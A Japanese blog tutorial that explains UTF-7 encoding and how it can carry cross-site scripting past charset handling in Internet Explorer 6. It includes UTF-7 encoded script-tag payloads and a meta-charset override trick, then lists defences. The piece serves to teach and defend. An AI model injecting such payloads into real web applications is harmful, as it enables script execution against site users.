スポンサーリンク

クロスサイトスクリプティングは、Webアプリケーションセキュリティで非常に驚異です。

UTF-7とは?

UTF-16は、BMP(基本多言語面)を16ビット、その他を#サロゲートペアの仕組みを用いて32ビットで指定する方式をとります。リトルエンディアンとビッグエンディアンのUTF-16がありUTF-16LE, UTF-16BE, と区別することもあります。

UTF-7は、UTF-16 の Unicode を Base64
に変換し、表す方式です。ただし、ASCIIのアルファベットの文字は、Base64に変換しません。7ビット単位でしかデータを扱えない通信方式なので利用することを想定されたものです。

XSSはクロスサイトスクリプティング

をUTF-7で表すと

XSS+MG8wrzDtMLkwtTCkMMgwuTCvMOow1zDGMKMw8zCw

とエンコードされます。

タグの例です。

<h1>XSS</h1>

はUTF-7で表すと

+ADw-h1+AD4-XSS+ADw-/h1+AD4


HTMLソースを

<html>
<head>
<title>XSS</title>
</head>
<body>
<div>Security</div>
</body>
</html>

UTF-7で表すと

+ADw-html+AD4
+ADw-head+AD4
+ADw-title+AD4-XSS+ADw-/title+AD4
+ADw-/head+AD4
+ADw-body+AD4
+ADw-div+AD4-Security+ADw-/div+AD4
+ADw-/body+AD4
+ADw-/html+AD4

<input type="text" name="login" value="">
<input type="passwd" name="passwd" value="">

+ADw-input type+AD0AIg-text+ACI name+AD0AIg-login+ACI value+AD0AIgAiAD4
+ADw-input type+AD0AIg-passwd+ACI name+AD0AIg-passwd+ACI value+AD0AIgAiAD4
となります。

メタキャラクタ < >" が違う表現で表すことができます。

UTF-7とクロスサイトスクリプティング

charsetが不明瞭なWebアプリケーションを攻撃します。
ブラウザに UTF-7 だと認識させます。

charsetが不明瞭というのは、
  • HTTPレスポンスヘッダでcharsetが指定されていない
  • metaタグでcharsetが指定されていない charsetの指定がない場合のことをいいます。
下記の出力がHTTPレスポンスヘッダにない

Content-Type: text/html; charset=エンコーディング名


下記のようにHTMLのメタタグでcharsetを指定していない。

<meta http-equiv="Content-Type" content="文字コード...


charsetをUTF-7で認識させる方法

  • エンコードの自動判別機能
攻撃例

MicrosoftのInternet Explorer6の文字コードが自動判定の場合に動作します。
<html>
<head>
<title>XSS</title>
</head>
<body>
<div>+ADw-script+AD4-alert('xss')+ADw-/script+AD4</div>
</body>
</html>
UTF-7と認識され、divでかこまれたスクリプトが実行されます。

metaタグでcharsetが指定してあったとしても、それよりも前にUTF-7の文字コードを挿入することで、指定されたmetaタグを無効化することができます。これもMicrosoftのInternet Explorer 6で動作します。

<html>
<head>
<title>+ADw-/title+AD4-
 +ADw-meta http-equiv+AD0-'content-type'
  content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-
</title>
<meta http-equiv="content-type" content="text/html; charset=EUC-JP">
</head>
<body>
<div>+ADw-script+AD4-alert('xss')+ADw-/script+AD4</div>
<div>utf-7</div>
</body>
</html>

対策方法

  • charsetをHTTPレスポンスヘッダに含める
  • metaタグでcharsetを指定するよりも前にユーザ(攻撃者)の入力が入らないHTMLソースにする
  • charsetはブラウザが理解できるものを指定する。
日本語圏では、あまり問題にならない気がしますが、注意することは重要です。

スポンサーリンク
スポンサーリンク
 
いつもシェア、ありがとうございます!


もっと情報を探しませんか?

関連記事

最近の記事

人気のページ

はてなの人気のブックマーク

スポンサーリンク
 

過去ログ

2019 : 01 02 03 04 05 06 07 08 09 10 11 12
2018 : 01 02 03 04 05 06 07 08 09 10 11 12
2017 : 01 02 03 04 05 06 07 08 09 10 11 12
2016 : 01 02 03 04 05 06 07 08 09 10 11 12
2015 : 01 02 03 04 05 06 07 08 09 10 11 12
2014 : 01 02 03 04 05 06 07 08 09 10 11 12
2013 : 01 02 03 04 05 06 07 08 09 10 11 12
2012 : 01 02 03 04 05 06 07 08 09 10 11 12
2011 : 01 02 03 04 05 06 07 08 09 10 11 12
2010 : 01 02 03 04 05 06 07 08 09 10 11 12
2009 : 01 02 03 04 05 06 07 08 09 10 11 12
2008 : 01 02 03 04 05 06 07 08 09 10 11 12
2007 : 01 02 03 04 05 06 07 08 09 10 11 12
2006 : 01 02 03 04 05 06 07 08 09 10 11 12
2005 : 01 02 03 04 05 06 07 08 09 10 11 12
2004 : 01 02 03 04 05 06 07 08 09 10 11 12
2003 : 01 02 03 04 05 06 07 08 09 10 11 12

サイト

Vim入門

C言語入門

C++入門

JavaScript/Node.js入門

Python入門

FreeBSD入門

Ubuntu入門

セキュリティ入門

パソコン自作入門

ブログ

トップ


プライバシーポリシー